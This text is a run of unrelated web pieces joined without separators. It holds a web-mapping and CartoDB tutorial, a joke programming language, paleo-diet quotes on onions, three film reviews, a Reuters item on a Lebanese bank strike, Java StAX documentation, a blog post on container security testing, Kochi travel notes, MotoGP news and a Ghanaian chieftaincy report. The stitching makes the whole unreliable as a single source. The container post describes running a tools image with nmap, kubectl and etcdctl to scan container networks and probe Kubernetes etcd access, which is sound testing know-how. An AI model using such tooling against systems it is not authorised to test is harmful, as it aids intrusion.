Part 1/3: Geography and GeoData
~
some fundamentals for making maps
round -> flat
places on Earth are represented as places on flat surfaces, like print-outs or computer screens
doing this requires a:
- a system for describing locations
- a method for projecting a location from the round thing to a location on the flat thing
A coordinate system describes locations.
Lat/Lon is used to represent location on both the Earth as a globe (a sphere-like 3-D object) and Earth as a map (a planar, 2-D object)
To go from a globe like this...
...we need a map projection.
a method in the form of a mathematical equation for stretching and warping the lat/long grid of the globe to fit a planar map
But there is no way to project the globe without distorting it.
Distortion is typically worst at the edges of the map, affecting relative scale.
To avoid distortion, many projections are purpose-built:
they are specific to an area, or are designed for functionality (e.g., measuring distances from a certain point).
Pennsylvania State Plane (South)
EPSG (European Petroleum Survey Group) code 2272
A few projections provide a decent balance between
- relative scale,
- visually-pleasing proportions,
- and straighforward measure-ability
on a global scale.
Web Mercator
EPSG code: 3857
East-West distance is constant.
North-south distance is distorted close to the poles.
Why you need to know this:
Web Mercator is the projection commonly used for web maps and typical web map-making software/tools/libraries.
Local data in southwestern Pennsylvania is typically stored in PA State Plane (South) / EPSG 2272. It uses feet, not decimal degrees, and must be re-projected to use in a web map.
espg.io is a coordinate system search engine with an API. Really cool.
GeoJSON is an open standard format designed for representing simple geographical features, along with their non-spatial attributes, based on JavaScript Object Notation (JSON). src:wikipedia
You can interactively make a geojson file with geojson.io.
Let's give that a try, and save a GeoJSON of our own.
and/or save fishfries2016.geojson demo data for later
Part 2/3: Open Street Map + FOSS geo tools
~
Your map needs contextual data: roads, rivers, points of interest, etc.
Someone else has already pulled all of this this together for you in Open Street Map (OSM), and a bunch of software is built to use OSM.
Why you need to know about Open Street Map and basemaps:
Base maps provide context. Good cartography will make your data POP and help you tell a story with your data.
The benefit of using a base map like OSM is that if you find a discrepancy, it is within your power to fix quickly, and everyone wins.
and...
OSM is relied upon by many free and open source software (FOSS) geo-tools.
In rough order of "off-the-shelf-completeness" for those new to web map development:
"Mapnik is an open source toolkit for developing mapping applications...basically a collection of geographic objects like maps, layers, datasources, features, and geometries...It is intended to play fair in a multi-threaded environment and is aimed primarily, but not exclusively, at web-based development." src: Mapnik on Github
Mapnik powers Open Street Map and many other FOSS geo tools
BUILDING BLOCKS: Leaflet
"Leaflet is an open source JavaScript library for mobile-friendly interactive maps...it has all the features most developers ever need for online maps." src: Leaflet on Github
With some basic web-dev skills, make simple, functional, and great-looking web maps.
"OpenLayers 3 is a high-performance, feature-packed library for creating interactive maps on the web." src: Open Layers on Github
A full-featured web mapping library, with support for WebGL, 3D, many projections, lots of data types, animation, etc. Many examples for creating your web map.
BUILDING BLOCKS: Mapzen
"Mapzen builds open-source mapping tools and collaborates on open geodata initiatives. " src: Mapzen.com
These folks build open-source tools focused on getting the most out of OSM. Tanagram is a really awesome library for creating custom-styled, 2D and 3D basemaps using OSM data. Mapzen Turn-by-Turn and Mapzen Search are fast, free-to-use directions and geocoding tools, respectively.
"Mapbox is a mapping platform for developers. Our building blocks make it easy to integrate location into any mobile or online application." src: Mapbox.com
Mapbox provide open-source tools to build web maps from scratch, such as
MapboxGL, and tools for, geocoding, directions, and some geospatial analysis with Turf. They offer basic geodata hosting services that their tools are built to use. Mapbox Studio is an incredible cartographic design tool for creating custom basemaps using OSM and your own data.
Check out the Mapbox Studio Gallery.
To follow along, sign-up for CartoDB

If you've just created your account, you'll get a nice prompt like this:
Or if you already had an account, go to your dashboard at https://{{username}}.cartodb.com/dashboard
Exploring the CartoDB Editor:
There are two basic views when working in the CartoDB Editor:
- Profile
{{username}}.cartodb.com/me
- Dashboard
{{username}}.cartodb.com/dashboard
- Datasets
{{username}}.cartodb.com/dashboard/datasets
- Maps:
{{username}}.cartodb.com/dashboard/maps
Datasets
{{username}}.cartodb.com/dashboard/datasets
Here is where you'll get a list of the datasets you have in your account as well as options to connect to public datasets from the Data Library
Maps
{{username}}.cartodb.com/dashboard/maps
Here is where you'll find previous maps you've worked on and where you can create new maps
Connect a dataset
Let's get to it by by clicking on New Dataset
to gather data for our map!
You'll see numerous options to gather data for use in CartoDB.
For the free account, you can only upload static data from certain places. Paid acccounts upload data from more sources to CartoDB and also stay "linked " to the source, keeping things up-to-date.
- Navigate from
data >>> dataset >>> lawyer page >>> list of datasets
- Filter by GeoJSON
- Find something you like, and open it. Point data will be easiest for this demo.
Get a link to the selected WPRDC dataset's GeoJSON
- under Data and Resources click GeoJSON
- the url to the raw data source is at the top of the page
- copy the url
SIDEBAR: You'll notice that the WPRDC dataset page already has a map with the data! It's built with Leaflet and uses an OSM basemap from MapQuest
Back in CartoDB...
after you've clicked New Dataset
:
- In the lower right text field, paste the WPRDC GeoJSON link and hit
Submit
.
- Click
Connect Dataset
at the bottom of the screen. You might have to do this a few times, and it may take a little while with big datasets.
Yoi! You should see a data table.
At the top of the table, we see the field titles (e.g., the_geom
)and the field types, (e.g., geometry
).
Here, you can change the field name, sort the data, add new columns, and more.
Different field types will have different kind of visualization options when we get to the map.
Wait... Don't I need to worry about the coordinate system?!
Our GeoJSON data from the WPRDC is already in the Web Mercator projection, so no.
Per the spec, GeoJSON uses a a geographic coordinate reference system, with a WGS84 datum, by default - same as Web Mercator.
And typically, you'll find that publishers of GeoJSON use Web Mercator, since the format is geared towards web maps.
Our data is good to go! Now let's move over to the map.
- At the top of the screen, click on
Map View
. This is just a view of the data on a map, not officially a map yet.
- On the right hand side of the page we see a bunch of different options to make our map. Click around some and explore.
- SQL
- Wizards
- InfoWindow
- CartoCSS
- Legends
- Filters
Styling Data: Wizards
The first thing we can do is look at how to style our data in different ways.
On the right hand side, click on the paintbrush icon. This is the wizards panel. Play around with the different styles and suboptions -- what wizard options display what kind of information? Which kinds of wizard options don't make sense for the kind of data we have? This is where the field type comes into play -- some wizard options are only available for some field types.
Styling Data: CartoCSS
CartoCSS is a CSS-like language for cartographic styling of geodata
It's good for complex styling for static visualization of data. It's a bit less intuitive for the animated styling available in the Wizard. Styles created with the Wizard will be automatically written in CartoCSS, which you can view here.
Portions of the CartoCSS language used here are also used by Mapbox.js (though that has been superceded by the Mapbox Studio approach shown earlier)
Filtering Data: Filters and SQL
Use the Filter tool to query and filter the data you want to show on the map, Using data in one or more columns. This auto-creates a SQL statement and applies it to your data.
Or, skip the GUI and use the SQL tool to write SQL yourself. Use this for complex filters: those that require a look at multiple columns and have many conditions (e.g.: these but not those, except for those).
Pop-ups
Customize what will happen when you click on or put your mouse over one of the points of your map using the InfoWindow tool.
- Decide what fields you want to appear in your popup, and if you want it to be an on-click popup or an on-hover popup.
To get more advanced, you can switch to HTML and do some custom markup.
Adding More Data and Making a Map
If you'd like to add more data to your map, you can click the blue + button at the top of the side panel.
This will require you to make a map -- right now we are simply looking at a spatial representation of our dataset. A map is when we add another dataset to create a map layer, where we can do more styling.
Creating Your Own Data
You can also create data directly in CartoDB.
- In your map, on the upper right there's a plus sign. If the tab is expanded it says
Add New Layer
.
- Click that to create a new layer.
- Then pick
Add an empty layer.
Start drawing new data
There's a circle with a plus on it at the bottom right. Click it.
It will ask you if you are adding a point, line or polygon. Points are good for specific places (stores, restaurants, bike racks, etc.), lines are good for routes (maybe bike trails or something) and polygons are best for areas -- neighborhoods, for example.
Pick which one you are adding. Remember that each layer can only be one type of data -- all points, all lines, or all polygons.
Click to add your data. For points, click once. For lines and polygons, click once for each vertex. When you're done, click the Done
button.
Give your features some Attributes
We can also add attributes to our data.
Click on your feature and click the three lines, which is edit data
.
It will automatically have fields for name
and description
.
You can also click Add new column
to create more.
Give your layer a name
Make sure you change the name of your new layer too! Otherwise it will just be untitled_table
which isn't very helpful.
To do that, click the menu tab to bring it out, then double click on the name of the layer to change it.
(Note that this will only rename the layer in this map. If you want to change the name of the data itself, which will help you organize your data better, click where it says View of untitled_table
and change it there. )
Your new data will behave exactly like other data in CartoDB -- you can change symbology, add hover and click behavior, and more.
Adding Elements
If we haven't added extra data, we need to make this visual representation of the dataset into a map to add a title, legend, and other good map stuff. Click Visualize
, and then Create Map
.
If you followed along and added your own data, then you'll see the Add Element button. Use this title, description, annotation, etc.
The Options gear button at the bottom of the map lets you add other mappy-things, like a search box, fixed title bar, and map controls.
Publishing Your Map
Now our map is ready to go! We can publish this out in a few different ways: sharing links with friends, embedding it onto a web page or blog post, or adding it to another app using CartoDB.js
.

"Well sure, Harry Potter can speak parseltongue. But can he parse Speakeltongue?"
Now imagine that you can point to any scale on that snake, and assign a number to it. The snake is totally up for this exercise, but you have to talk to the snake in a way it can understand. That's Speakeltongue!
Use commands to point at scales up and down the snake's body, and assign numbers to the scale you're pointing at. You can also feed the snake, loop through commands, and have them return the output in a way that's... you know, it's probably better that we leave output up to the imagination.

Onion
Onion is a Green food. Green foods are safe to eat as a regular part of a diet.
Category Quotes
Guideline related quotes related to Non-Starchy and Green throughout Geoff Bond's publications.
Eat at least 2 3/4 lbs of mixed salad and vegetables per day, consisting of "Green-Green” and “Green” foods. Of these, at least 3/4 lb should be mixed salad. Also include at least 5 cups of “Green-Green” leafy vegetables or 2 1/2 cups of other vegetables per week. ~Paleo in a Nutshell p.102
Additional Quotes
Specific references to Onion throughout Geoff Bond's publications.
Being a World War II baby, I spent the first fifteen years of my life on food rations. It is said that we are the "lucky" generation: Many unhealthy foods like sugar, bacon, pork, beef, milk, butter, fat, cakes, and even bread were strictly rationed. Meanwhile, we could eat as much as we liked of cabbage, onions, and turnips! ~Paleo in a Nutshell p.9
It is quite easy really to achieve six servings by eating one big salad every day with all the usual ingredients we think of as salad vegetables: Tomatoes, lettuce, radish, cucumber, mushrooms, onions, and so forth. ~Paleo in a Nutshell p.48
Conforming non-starchy, colored plant foods are foods that are low-glycemic, rich in micronutrients and fiber, and harmless with regard to anti-nutrients and antigens. Broadly, they include most salad foods, such as lettuce, onions, cucumber, radish, and mushrooms, and they also include colored vegetables, such as broccoli, green beans, bell peppers (sweet peppers), and Brussels sprouts. These are considered "Green-Green," "Green," and "Green-Amber." Under "Green-Green," we have separated out the vegetables that have the high concentrations of background micronutrients that our ancient ancestors delighted in. You can have unlimited consumption of these foods, and the ideal is up to two pounds (900 g) per day. ~Paleo in a Nutshell p.62
The idea of eating salad for breakfast does indeed run counter to our Western cultural programming, but it is something that many societies do, notably in Africa. A copious mixed salad with some avocado, tuna flakes, or shrimp makes a great start to the day. Again, make it a large portion— at least one pound per person. It is not really so much: One large tomato, one cucumber, some onion, and some lettuce leaves make 9 oz of plant food. Round it off with 3 oz of canned tuna, and you have a hearty breakfast. ~Paleo in a Nutshell p.87
Old-Fashioned Haddock Breakfast. This used to be a good standby in many parts of the English-speaking world. Many people are old enough to remember, perhaps, when their grandparents used to eat like this. They would lightly poach a piece of haddock (or kipper or any other appropriate fish) in simmering water for about five minutes. They would accompany it with lashings of sauteed onion, grilled tomatoes, and mushrooms. ~Paleo in a Nutshell p.88
"Fresh is best" is a familiar slogan and it is good for us, too. However, that is not always possible, so how do we prioritize? Broadly speaking, the "least bad" alternative to fresh plant food is frozen. Frozen plant foods, such as cauliflower, spinach, and chopped onion, have been quickly prepared in the field, and then blanched and frozen nearby. Blanching is designed to destroy certain enzymes that cause discoloration, softening, and bruising. It is likely that these are background micronutrients that are useful to the human body and become lost in the blanching process. So, here we make a compromise: In the absence of an alternative, freezing is the least of all evils. ~Paleo in a Nutshell p.92
The other methods of preserving plant food are to be avoided: Freeze-dried (packet soups), canned (peas, green beans), pickled in salt (gherkins), syruped (fruit jams and jellies), and fermented (sauerkraut). That is not to say you can never eat these things, just do not think that they are proper food. Foods pickled in vinegar (such as onions) have lost many nutrients, but at least the pickling does not add undesirable chemicals. ~Paleo in a Nutshell p.92
As biologist-historian Jared Diamond points out, only a few varieties of plants in the world lend themselves to being farmed and the farmer had little choice but to focus his efforts on those few. This practical reality greatly reduces the variety of foods eaten. So, it was for our first planters in Kurdistan. Instead of consuming plants from the hundreds of wild, foraged species, the farmers' diet was now limited mostly to just four farmed species— wheat, barley, lentils, and beans. As the centuries rolled by, farmers gradually domesticated some fruits (such as apricot and apple) and vegetables (such as onion and leeks), but they remained a tiny part of the diet. ~Deadly Harvest p.31
Not all underground vegetables are starchy. For example, turnip and radish, which both originated in Asia, are non-starchy, as are bulbs such as onion and garlic from Asia and the leek from the Middle East. Corms such as Chinese water chestnut are also non-starchy. Unlike the starchy roots, they mostly get their bulk from another com pound called "inulin." ~Deadly Harvest p.56
Foods pickled in vinegar (such as onions) have lost many nutrients, but at least the pickling does not add undesirable chemicals. ~Deadly Harvest p.166


_Swordfish_ (R) ** 1/2 (out of ****)
God bless Joel Silver. While a certain nameless compatriot of his in the blockbuster game has decided to make a misguided, PG-13 play for Oscar this summer, Silver is sticking to his guns, delivering a slam-bang, pretense-free, hard-R-rated action thriller. _Swordfish_ is the name, and the game is the same: chases, gunplay, the whole nine. In short, all the mayhem that one expects from a Silver Pictures production--and ultimately as nondescript as that description implies.
Undoubtedly responsible for that routine quality is director Dominic Sena, who last summer helmed Jerry Bruckheimer (oops, I said his name) Actioner #366, a.k.a. _Gone_in_Sixty_Seconds_; and writer Skip Woods. After all, the mediocre sum is made up of some distinguished parts--and no, I'm not just talking about those very healthy ones of co-star Halle Berry, who reportedly received a (well-spent) half-million-dollar bonus to go topless in the film's (quite understandably) most-talked-about scene. Berry, who plays fiery femme fatale Ginger, is but one of the talented actors that make up the top-notch core cast, which also includes John Travolta as the bad guy, evil secret government agent Gabriel Shear; Berry's _X-Men_ teammate Hugh Jackman as the hero, ace computer hacker Stanley Jobson; and Don Cheadle as the token fed, FBI Agent Roberts.
One doesn't watch a Joel Silver production for the stars so much as the action sequences, and, as mentioned earlier, _Swordfish_ delivers the goods in that respect. A massive explosion that takes the "bullet time" effect to a new level gets the film off to a spectacular start, and subsequent set pieces live up to this big bang of an open. These range from the fairly standard but slickly done (a central car chase/gunfight) to the truly original and ranging from a foot chase down a cliff to the big finale featuring an airlifted bus, do the adrenaline-pumping job.
For a film like _Swordfish_, the plot is merely connective tissue between the big blow-ups, and at first Woods seems to have done all that's required of him. Gabriel gets the sultry Ginger to entice formerly convicted hacker Stanley into helping them electronically tap into heavily protected government funds. Simple enough, but the script soon gets lost in convoluted, half-baked twists as well as unconvincing, half-hearted emotional content--namely Stanley's desire to be with his young daughter, whom he is forbidden to see. That this subplot, however ridiculous it is, is not laughable is a testament to Jackman's charisma and natural sincerity.
_Swordfish_ practically invites criticism by beginning with Gabriel directly saying to the camera, "You know what the problem with Hollywood is? It makes shit." I wouldn't go so far as to call _Swordfish_ shit, but it certainly is junk in a nice, glossy package, and doesn't pretend to be otherwise. While embracing and celebrating its lowest-common-denominator aspirations make _Swordfish_ a refreshingly unpretentious and modestly diverting film, it doesn't make it a good one.

Lebanon bank staff union to discuss ending strike after receiving security plan -union
by ReutersBEIRUT — Lebanon’s bank staff union will meet on Sunday or Monday to decide whether to call off a strike, after receiving a plan to secure banks with a stepped up police presence, the president of the Federation of Syndicates of Bank Employees said on Saturday.
The union began the strike on Tuesday over safety fears, as protests against political leaders sweep Lebanon and depositors demand access to their money after banks imposed new curbs.
George al-Hajj said banks could re-open as early as Monday if the union agrees that the plan is satisfactory. Hajj expressed support for the plan but said there was not yet a final decision.
It calls for police officers to guard select branches and provides a hotline for banks to call in immediate security assistance if needed.

Hideous Kinky (1999) A capsule review by Nathaniel R. Atcheson
Director: Gillies MacKinnon Cast: Kate Winslet, Said Taghmaoui, Bella Riza, Carrie Mullan, Pierre Clementi Screenplay: Billy MacKinnon Producers: Ann Scott Runtime: 98 min. US Distribution: Stratosphere Entertainment Rated R: sex, language
Copyright 1999 Nathaniel R. Atcheson
Hideous Kinky gave me the same kind of feeling I always get when it seems the setting is more important than the characters: emptiness. That's not to say the film is lifeless; on the contrary, Kate Winslet gives a fantastic performance as Julia, an English mother trying to raise her two daughters (Bella Riza, Carrie Mullan) in Morocco. The central story is a good one, but the plot feels needlessly thickened by various intrusive elements, including Julia's not-so-moving love affair with a Moroccan man (Said Taghmaoui) and Julia's underdeveloped commitment to the local religion. Winslet, as I said, is a truly affecting actress, and I was also very impressed with young Carrie Mullan. Director Gillies MacKinnon does a nice job with atmosphere, and the film always feels authentic. But I got the strange sensation that the setting and the characters are part of two entirely different stories, and the movie just isn't very engaging because of this.

Deuce Bigalow: Male Gigolo (1999)
Starring Rob Schneider, William Forsythe, Eddie Griffin, Arija Bareikis, Oded Fehr, Richard Riehl, and Norm MacDonald.
Directed by Mike Mitchell Written by Harris Goldberg and Rob Schneider
"Deuce Bigalow: Male Gigolo" is a film that gives star Rob Schneider a perfect chance to meander the streets with no clothes on. This heinous image is sprinkled throughout the film to everyone's chagrin. Why would we want to see this…especially on the big screen? If this image is triggered to disgust its audience, it certainly succeeds. There are points where it is almost impossible to stare at the screen. Some films of this same gross-out genre are highly entertaining for one reason. They disgust and entertain simultaneously because they are either innovative or hilarious. "Deuce Bigalow" lacks these two qualities causing the disgust factor to greatly outweigh the entertainment factor. Most of the jokes were unoriginal, either tired spoofs from other films (there were two idiotic Matrix spoofs in two different scenes) or blatantly stolen from its predecessors (an angry dog bangs against a door almost identically to the dog in "There's Something About Mary"). If I wanted to see funny gags just like those of past movies, I would see past movies. It's cheaper and much simpler. The saddest thing about "Deuce Bigalow" is that its mentor is an unfunny Adam Sandler flick.  Now I know why Sandler himself produced this film; he is trying to make his pictures look better.
 Under some wacky circumstances, Deuce finds himself making money as a gigolo so he can pay off debts to a real gigolo whose house he ruined. As a "man-whore," as they call male prostitutes, Deuce ends up tagging along on dates with bizarre women who no one else will go out with. He escorts an incredibly large woman, an incredibly tall woman, a narcoleptic, a woman with Tourette's syndrome, and of course the woman of his dreams. It is hard to root for Schneider in his role. He is just so pathetic and slimy to start out with, that when he begins to date these women the enthusiasm to see him succeed is very low. At least Sandler is like the guy next door you go to sports games with.
The film follows a one-joke premise that dies off half way through. Although this may be one of the shortest movies of the Winter, with the openings of nearly a dozen three hour plus films, it seemed a lot longer than an hour and a half. Its predictable plot is mostly responsible for this. Also its terrible acting from the talented William Forsythe, who spends the whole film complaining about the size of his private part, to Norm MacDonald, who had a quick and forgetful cameo as a bartender.
The saddest thing about this movie is that it, and the many others like it, are successful at the box office meaning they will continue to multiply and top more deserving films. The scariest, and only real thought that popped into my brain after watching this movie (besides the fact that I think it made me stupider) is that if this movie copied off the very disappointing Sandler flicks, then will future films copy off "Deuce Bigalow: Male Gigolo." I continue to shiver at the thought.

In general, StAX programmers create XML stream readers, writers, and events by using the XMLInputFactory, XMLOutputFactory, and XMLEventFactory classes. Configuration is done by setting properties on the factories, whereby implementation-specific settings can be passed to the underlying implementation using the setProperty method on the factories. Similarly, implementation-specific settings can be queried using the getProperty factory method.
The XMLInputFactory, XMLOutputFactory, and XMLEventFactory classes are described below, followed by discussions of resource allocation, namespace and attribute management, error handling, and then finally reading and writing streams using the cursor and iterator APIs.
The StAX factory classes. XMLInputFactory, XMLOutputFactory, and XMLEventFactory, let you define and configure implementation instances of XML stream reader, stream writer, and event classes.
The XMLInputFactory class lets you configure implementation instances of XML stream reader processors created by the factory. New instances of the abstract class XMLInputFactory are created by calling the newInstance method on the class. The static method XMLInputFactory.newInstance is then used to create a new factory instance.
Deriving from JAXP, the XMLInputFactory.newInstance method determines the specific XMLInputFactory implementation class to load by using the following lookup procedure:
Use the javax.xml.stream.XMLInputFactory system property.
Use the lib/xml.stream.properties file in the Java SE platform's Java Runtime Environment (JRE) directory.
Use the Services API, if available, to determine the classname by looking in the META-INF/services/javax.xml.stream.XMLInputFactory files in JAR files available to the JRE.
Use the platform default XMLInputFactory instance.
After getting a reference to an appropriate XMLInputFactory, an application can use the factory to configure and create stream instances. Table 5-4 lists the properties supported by XMLInputFactory. See the StAX specification for a more detailed listing.

New instances of the abstract class XMLOutputFactory are created by calling the newInstance method on the class. The static method XMLOutputFactory.newInstance is then used to create a new factory instance. The algorithm used to obtain the instance is the same as for XMLInputFactory but references the javax.xml.stream.XMLOutputFactory system property.
XMLOutputFactory supports only one property, javax.xml.stream.isRepairingNamespaces. This property is required, and its purpose is to create default prefixes and associate them with Namespace URIs. See the StAX specification for more information.
New instances of the abstract class XMLEventFactory are created by calling the newInstance method on the class. The static method XMLEventFactory.newInstance is then used to create a new factory instance. This factory references the javax.xml.stream.XMLEventFactory property to instantiate the factory. The algorithm used to obtain the instance is the same as for XMLInputFactory and XMLOutputFactory but references the javax.xml.stream.XMLEventFactory system property.
There are no default properties for XMLEventFactory.
The StAX specification handles resource resolution, attributes and namespace, and errors and exceptions as described below.
The XMLResolver interface provides a means to set the method that resolves resources during XML processing. An application sets the interface on XMLInputFactory, which then sets the interface on all processors created by that factory instance.
Attributes are reported by a StAX processor using lookup methods and strings in the cursor interface, and Attribute and Namespace events in the iterator interface. Note here that namespaces are treated as attributes, although namespaces are reported separately from attributes in both the cursor and iterator APIs. Note also that namespace processing is optional for StAX processors. See the StAX specification for complete information about namespace binding and optional namespace processing.
All fatal errors are reported by way of the javax.xml.stream.XMLStreamException interface. All nonfatal errors and warnings are reported using the javax.xml.stream.XMLReporter interface.
As described earlier in this lesson, the way you read XML streams with a StAX processor—and more importantly, what you get back—varies significantly depending on whether you are using the StAX cursor API or the event iterator API. The following two sections describe how to read XML streams with each of these APIs.
The XMLStreamReader interface in the StAX cursor API lets you read XML streams or documents in a forward direction only, one item in the infoset at a time. The following methods are available for pulling data from the stream or skipping unwanted events:
Get the value of an attribute
Read XML content
Determine whether an element has content or is empty
Get indexed access to a collection of attributes
Get indexed access to a collection of namespaces
Get the name of the current event (if applicable)
Get the content of the current event (if applicable)
Instances of XMLStreamReader have at any one time a single current event on which its methods operate. When you create an instance of XMLStreamReader on a stream, the initial current event is the START_DOCUMENT state. The XMLStreamReader.next method can then be used to step to the next event in the stream.
The XMLStreamReader.next method loads the properties of the next event in the stream. You can then access those properties by calling the XMLStreamReader.getLocalName and XMLStreamReader.getText methods.
When the XMLStreamReader cursor is over a StartElement event, it reads the name and any attributes for the event, including the namespace. All attributes for an event can be accessed using an index value, and can also be looked up by namespace URI and local name. Note, however, that only the namespaces declared on the current StartEvent are available; previously declared namespaces are not maintained, and redeclared namespaces are not removed.
XMLStreamReader provides the following methods for retrieving information about namespaces and attributes:
int getAttributeCount(); String getAttributeNamespace(int index); String getAttributeLocalName(int index); String getAttributePrefix(int index); String getAttributeType(int index); String getAttributeValue(int index); String getAttributeValue(String namespaceUri, String localName); boolean isAttributeSpecified(int index);
Namespaces can also be accessed using three additional methods:
int getNamespaceCount(); String getNamespacePrefix(int index); String getNamespaceURI(int index);
This example, taken from the StAX specification, shows how to instantiate an input factory, create a reader, and iterate over the elements of an XML stream:
XMLInputFactory f = XMLInputFactory.newInstance(); XMLStreamReader r = f.createXMLStreamReader( ... ); while(r.hasNext()) { r.next(); }
The XMLEventReader API in the StAX event iterator API provides the means to map events in an XML stream to allocated event objects that can be freely reused, and the API itself can be extended to handle custom events.
XMLEventReader provides four methods for iteratively parsing XML streams:
next: Returns the next event in the stream
nextEvent: Returns the next typed XMLEvent
hasNext: Returns true if there are more events to process in the stream
peek: Returns the event but does not iterate to the next event
For example, the following code snippet illustrates the XMLEventReader method declarations:
package javax.xml.stream; import java.util.Iterator; public interface XMLEventReader extends Iterator { public Object next(); public XMLEvent nextEvent() throws XMLStreamException; public boolean hasNext(); public XMLEvent peek() throws XMLStreamException; ... }
To read all events on a stream and then print them, you could use the following:
while(stream.hasNext()) { XMLEvent event = stream.nextEvent(); System.out.print(event); }
You can access attributes from their associated javax.xml.stream.StartElement, as follows:
public interface StartElement extends XMLEvent { public Attribute getAttributeByName(QName name); public Iterator getAttributes(); }
You can use the getAttributes method on the StartElement interface to use an Iterator over all the attributes declared on that StartElement.
Similar to reading attributes, namespaces are read using an Iterator created by calling the getNamespaces method on the StartElement interface. Only the namespace for the current StartElement is returned, and an application can get the current namespace context by using StartElement.getNamespaceContext.
StAX is a bidirectional API, and both the cursor and event iterator APIs have their own set of interfaces for writing XML streams. As with the interfaces for reading streams, there are significant differences between the writer APIs for cursor and event iterator. The following sections describe how to write XML streams using each of these APIs.
The XMLStreamWriter interface in the StAX cursor API lets applications write back to an XML stream or create entirely new streams. XMLStreamWriter has methods that let you:
Write well-formed XML
Flush or close the output
Write qualified names
Note that XMLStreamWriter implementations are not required to perform well-formedness or validity checks on input. While some implementations may perform strict error checking, others may not. The rules you implement are applied to properties defined in the XMLOutputFactory class.
The writeCharacters method is used to escape characters such as &, <, >, and ". Binding prefixes can be handled by either passing the actual value for the prefix, by using the setPrefix method, or by setting the property for defaulting namespace declarations.
The following example, taken from the StAX specification, shows how to instantiate an output factory, create a writer, and write XML output:
XMLOutputFactory output = XMLOutputFactory.newInstance(); XMLStreamWriter writer = output.createXMLStreamWriter( ... ); writer.writeStartDocument(); writer.setPrefix("c","http://c"); writer.setDefaultNamespace("http://c"); writer.writeStartElement("http://c","a"); writer.writeAttribute("b","blah"); writer.writeNamespace("c","http://c"); writer.writeDefaultNamespace("http://c"); writer.setPrefix("d","http://c"); writer.writeEmptyElement("http://c","d"); writer.writeAttribute("http://c","chris","fry"); writer.writeNamespace("d","http://c"); writer.writeCharacters("Jean Arp"); writer.writeEndElement(); writer.flush();
This code generates the following XML (new lines are non-normative):
<?xml version=’1.0’ encoding=’utf-8’?>  <d:d d:chris="fry" xmlns:d="http://c"/>Jean Arp
The XMLEventWriter interface in the StAX event iterator API lets applications write back to an XML stream or create entirely new streams. This API can be extended, but the main API is as follows:
public interface XMLEventWriter { public void flush() throws XMLStreamException; public void close() throws XMLStreamException; public void add(XMLEvent e) throws XMLStreamException; // ... other methods not shown. }
Instances of XMLEventWriter are created by an instance of XMLOutputFactory. Stream events are added iteratively, and an event cannot be modified after it has been added to an event writer instance.
StAX implementations are required to buffer the last StartElement until an event other than Attribute or Namespace is added or encountered in the stream. This means that when you add an Attribute or a Namespace to a stream, it is appended the current StartElement event.
You can use the Characters method to escape characters like &, <, >, and ".
The setPrefix(...) method can be used to explicitly bind a prefix for use during output, and the getPrefix(...) method can be used to get the current prefix. Note that by default, XMLEventWriter adds namespace bindings to its internal namespace map. Prefixes go out of scope after the corresponding EndElement for the event in which they are bound.

When you’re doing security testing of container environments one of the things that can be pretty useful is having a container with useful tools connected to the container network. From there you can run network scans of the container network and also test the scenario of “malicious container”
There’s a couple of ways of achieving this goal. You could run a container interactively with something like
docker run -i -t [image_name] /bin/sh
but one of the downsides of using a container like this is if you exit from the container, it’ll stop running, so ideally you want a container that’ll keep running and that you can connect to over the network.
One example of this approach is this image which has a couple of useful features.
Its based on alpine linux so the image is nice and small, and it runs an SSH daemon so that it’ll stay running and you can just connect in with SSH (assuming that you have a root from the location you start from to the container)
It also has a neat trick that I got from some Fedora dockerfiles which is that it creates a random password each time you start an instance of the image. This is a good thing (tm) as you don’t want a static password baked in to your image.
To use this approach just do something like
docker run -d raesene/alpine-containertools
then find out what IP address has been assigned to your container with
docker inspect -f "{{.NetworkSettings.IPAddress}}" [container_name]
and what the password that’s been generated with
docker logs [container_name]
and you should be able to SSH in and get started with testing. This image has some network tools like nmap and curl and also some container tools like the docker client, kubectl and etcdctl which is handy for checking whether you can get access to the ETCD database in a Kubernetes network.


A stroll through the lanes of Fort Kochi will definitely attract you to the rustic and old-fashioned neighbourhood of Mattancherry
ypeen is one of the popular places to visit in Ernakulam in one day. A short and beautiful ferry ride from the city will take to this serene island which is dotted with beaches, backwaters and an array of restaurants
One of the first bird sanctuaries in Kerala and undeniably a haven for nature enthusiasts. In the words of Salim Ali (world famous ornithologist), Thattekkad is the “richest bird sanctuary in India” since it is home to hundreds of different endangered species of migratory birds.
Cherai beach is a 15 km stretch of wild and rugged beauty. Although not overwhelmed by hotels or major restaurants, the beach is dotted with small shacks selling local snacks like pakoras and chips.
The Mahatma Gandhi Road could be called the Times Square of Ernakulam. Grand clothing stores, expansive jewellery stores and fabulous eateries serving multi-cuisines, flank the road of both sides.
Hill Palace is a prominent Heritage museum, which exhibits countless number of archaeological relics and belongings of the Maharaja of Kochi. This famous palace, which was built in 1865, comprises forty-nine buildings with enchanting gardens and a children’s park..
Dutch bungalow near the Dutch cemetery in Fort Kochi got renovated to become a major attraction for art lovers. The gallery exhibits works by prominent and local artists
Folklore Museum is one of the popular tourist spots in the city. It is a three storied complex that showcases cultural exhibits and tribal artefacts. The Museum design was greatly inspired by the Malabar architecture.

MotoGP, Marquez owns a dream garage. The 7th BMW has arrived: X4 M Competition
The record-breaking world champion continues his winning run: Marc wins the BMW M Award in MotoGP for seventh time in a row
by GPoneMarc Márquez remains in a class of his own: this season, the Spaniard was crowned world champion for the eighth time in total, and the sixth time at the pinnacle of motorcycle racing, MotoGP. And there is simply no beating Márquez when it comes to the coveted BMW M Award either. In 2019, he was the fastest qualifier in MotoGP for the seventh year in a row, extending his record winning run in the BMW M Award.


Agave Avegorme enstools chiefs
by Stanley Awalime, GNA
Sogakope (VR), Nov. 18, GNA - The chiefs and people of Agave Avegorme in the South Tongu District of the Volta Region have enstooled two chiefs for the Agave traditional area.
Police Inspector Joseph Amedoko of the Ghana Police Service was enstooled under the stool name Torgbe Kavi VI with Mr. Emmanuel Kwesi Kubi, a businessman, also enstooled Awafia Ahadzie IV.
The two chiefs were outdoored and introduced to the chiefs, queenmothers and elders of the area at a colourful ceremony held at Agave Avegorme amidst libation, singing and dancing and slaughtering of sheep as part of rituals to cement the enstoolment.
Mr. Francis Kavi, Secretary to the Stool, told Ghana News Agency (GNA) that the kingmakers were happy that the vacancies had been filled after 17years.
The chiefs in a statement thanked the elders, the leaders of the Agave Traditional area and the Avegorme community for the confidence reposed in them and asked for unity and support for the development of the Agave Avegorme community.
They swore an oath of allegiance to the chiefs and elders of Agave Traditional area.
An opinion leader said, “We were just living like a river without fish after the death of our Chief, no leader, nobody to report our grievances to, so we are happy those days are now over.”

